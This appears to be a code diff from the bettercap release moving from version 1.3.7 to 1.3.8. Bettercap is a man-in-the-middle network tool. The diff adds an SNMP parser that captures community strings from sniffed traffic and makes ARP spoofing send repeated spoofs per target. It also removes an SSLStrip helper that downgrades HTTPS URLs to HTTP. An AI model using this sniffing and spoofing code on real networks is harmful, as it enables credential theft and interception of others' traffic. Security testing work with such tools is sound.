+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ SNMP community string parser:
10
+ Author : Matteo Cantoni
11
+ Email : matteo.cantoni@nothink.org
12
+
13
+ This project is released under the GPL 3 license.
14
+
15
+ Todo: SNMPv2
16
+
17
+ =end
18
+
19
+ module BetterCap
20
+ module Parsers
21
+ # SNMP community string parser.
22
+ class SNMP < Base
23
+ def on_packet( pkt )
24
+ begin
25
+ if pkt.udp_dst == 161
26
+
27
+ packet = Network::Protos::SNMP::Packet.parse( pkt.payload )
28
+ unless packet.nil?
29
+ if packet.snmp_version_number.to_i == 0
30
+ snmp_version = 'v1'
31
+ else
32
+ snmp_version = 'n/a'
33
+ end
34
+
35
+ msg = "[#{'Version:'.green} #{snmp_version}] [#{'Community:'.green} #{packet.snmp_community_string.map { |x| x.chr }.join.yellow}]"
36
+
37
+ StreamLogger.log_raw( pkt, 'SNMP', msg )
38
+ end
39
+ end
40
+ rescue; end
41
+ end
42
+ end
43
+ end
44
+ end
@@ -29,33 +29,38 @@ class Sniffer
29
29
  # each one of them to the BetterCap::Parsers instances loaded inside the
30
30
  # +ctx+ BetterCap::Context instance.
31
31
  def self.start( ctx )
32
- Thread.new do
32
+ Thread.new {
33
33
  Logger.debug 'Starting sniffer ...'
34
34
 
35
35
  setup( ctx )
36
36
 
37
+ start = Time.now.to_i
38
+ skipped = 0
39
+ processed = 0
40
+
37
41
  self.stream.each do |raw_packet|
38
42
  break unless @@ctx.running
39
43
  begin
40
44
  parsed = PacketFu::Packet.parse(raw_packet)
41
45
  rescue Exception => e
42
46
  parsed = nil
43
- #Logger.debug e.message
44
- #Logger.debug e.backtrace.join("\n")
45
47
  end
46
48
 
47
- if not parsed.nil? and parsed.is_ip? and !skip_packet?(parsed)
48
- Logger.debug "Parsing packet ..."
49
+ if skip_packet?(parsed)
50
+ skipped += 1
51
+ else
52
+ processed += 1
49
53
  append_packet raw_packet
50
54
  parse_packet parsed
51
- else
52
- Logger.debug "[SNIFFER] Skipping packet:" \
53
- " parsed=#{parsed.nil?? 'false' : 'true'}" \
54
- " is_ip?=#{parsed.nil?? 'false' : parsed.is_ip?}" \
55
- " skip_packet?=#{parsed.nil?? 'true' : skip_packet?(parsed)}"
56
55
  end
57
56
  end
58
- end
57
+
58
+ stop = Time.now.to_i
59
+ delta = stop - start
60
+ total = skipped + processed
61
+
62
+ Logger.info "[#{'SNIFFER'.green}] #{total} packets processed in #{delta} s ( #{skipped} skipped packets, #{processed} processed packets )"
63
+ }
59
64
  end
60
65
 
61
66
  private
@@ -74,9 +79,14 @@ class Sniffer
74
79
  # Return true if the +pkt+ packet instance must be skipped.
75
80
  def self.skip_packet?( pkt )
76
81
  begin
77
- !@@ctx.options.local and
78
- ( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or
79
- pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] )
82
+ # not parsed
83
+ return true if pkt.nil?
84
+ # not IP packet
85
+ return true unless pkt.is_ip?
86
+ # skip if local packet and --local|-L was not specified.
87
+ unless @@ctx.options.local
88
+ return ( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] )
89
+ end
80
90
  rescue; end
81
91
  false
82
92
  end
@@ -87,7 +97,7 @@ class Sniffer
87
97
  begin
88
98
  parser.on_packet parsed
89
99
  rescue Exception => e
90
- Logger.debug e.message
100
+ Logger.exception e
91
101
  end
92
102
  end
93
103
  end
@@ -100,7 +110,7 @@ class Sniffer
100
110
  array: [p],
101
111
  append: true ) unless @@pcap.nil?
102
112
  rescue Exception => e
103
- Logger.warn e.message
113
+ Logger.exception e
104
114
  end
105
115
  end
106
116
 
@@ -81,7 +81,10 @@ class Arp < Base
81
81
 
82
82
  @ctx.targets.each do |target|
83
83
  unless target.ip.nil? or target.mac.nil?
84
- spoof(target)
84
+ 5.times do
85
+ spoof(target)
86
+ sleep 0.3
87
+ end
85
88
  end
86
89
  end
87
90
  end
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
12
12
  =end
13
13
  module BetterCap
14
14
  # Current version of bettercap.
15
- VERSION = '1.3.7'
15
+ VERSION = '1.3.8'
16
16
  # Program banner.
17
17
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
18
18
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: bettercap
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.3.7
4
+ version: 1.3.8
5
5
  platform: ruby
6
6
  authors:
7
7
  - Simone Margaritelli
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-02-08 00:00:00.000000000 Z
11
+ date: 2016-02-13 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
@@ -143,6 +143,7 @@ files:
143
143
  - lib/bettercap/network/protos/dhcp.rb
144
144
  - lib/bettercap/network/protos/mysql.rb
145
145
  - lib/bettercap/network/protos/ntlm.rb
146
+ - lib/bettercap/network/protos/snmp.rb
146
147
  - lib/bettercap/network/servers/dnsd.rb
147
148
  - lib/bettercap/network/servers/httpd.rb
148
149
  - lib/bettercap/network/services
@@ -159,7 +160,6 @@ files:
159
160
  - lib/bettercap/proxy/sslstrip/cookiemonitor.rb
160
161
  - lib/bettercap/proxy/sslstrip/lock.ico
161
162
  - lib/bettercap/proxy/sslstrip/strip.rb
162
- - lib/bettercap/proxy/sslstrip/urlmonitor.rb
163
163
  - lib/bettercap/proxy/stream_logger.rb
164
164
  - lib/bettercap/proxy/streamer.rb
165
165
  - lib/bettercap/proxy/thread_pool.rb
@@ -182,6 +182,7 @@ files:
182
182
  - lib/bettercap/sniffer/parsers/post.rb
183
183
  - lib/bettercap/sniffer/parsers/redis.rb
184
184
  - lib/bettercap/sniffer/parsers/rlogin.rb
185
+ - lib/bettercap/sniffer/parsers/snmp.rb
185
186
  - lib/bettercap/sniffer/parsers/snpp.rb
186
187
  - lib/bettercap/sniffer/parsers/url.rb
187
188
  - lib/bettercap/sniffer/parsers/whatsapp.rb
@@ -1,53 +0,0 @@
1
- # encoding: UTF-8
2
- =begin
3
-
4
- BETTERCAP
5
-
6
- Author : Simone 'evilsocket' Margaritelli
7
- Email : evilsocket@gmail.com
8
- Blog : http://www.evilsocket.net/
9
-
10
- This project is released under the GPL 3 license.
11
-
12
- =end
13
-
14
- module BetterCap
15
- module Proxy
16
- module SSLStrip
17
-
18
- # Class to handle a list of ( client, url ) objects.
19
- class URLMonitor
20
- # Create an instance of this object.
21
- def initialize
22
- @urls = []
23
- end
24
-
25
- # Return true if the object (client, url) is found inside this list.
26
- def was_stripped?( client, url )
27
- @urls.include?([client, url])
28
- end
29
-
30
- # Add the object (client, url) to this list.
31
- def add!( client, url )
32
- unless was_stripped?(client, url)
33
- @urls << [client, url]
34
- end
35
- end
36
-
37
- # Return a normalized version of +url+.
38
- def normalize( url )
39
- url = if url.include?('://') then url else "https://#{url}" end
40
- url = if url.end_with?('/') then url else "#{url}/" end
41
- url
42
- end
43
-
44
- # Downgrade +url+ from HTTPS to HTTP.
45
- # Will take care of HSTS bypass urls in a near future.
46
- def downgrade( url )
47
- url.gsub( 'https://', 'http://' )
48
- end
49
- end
50
-
51
- end
52
- end
53
- end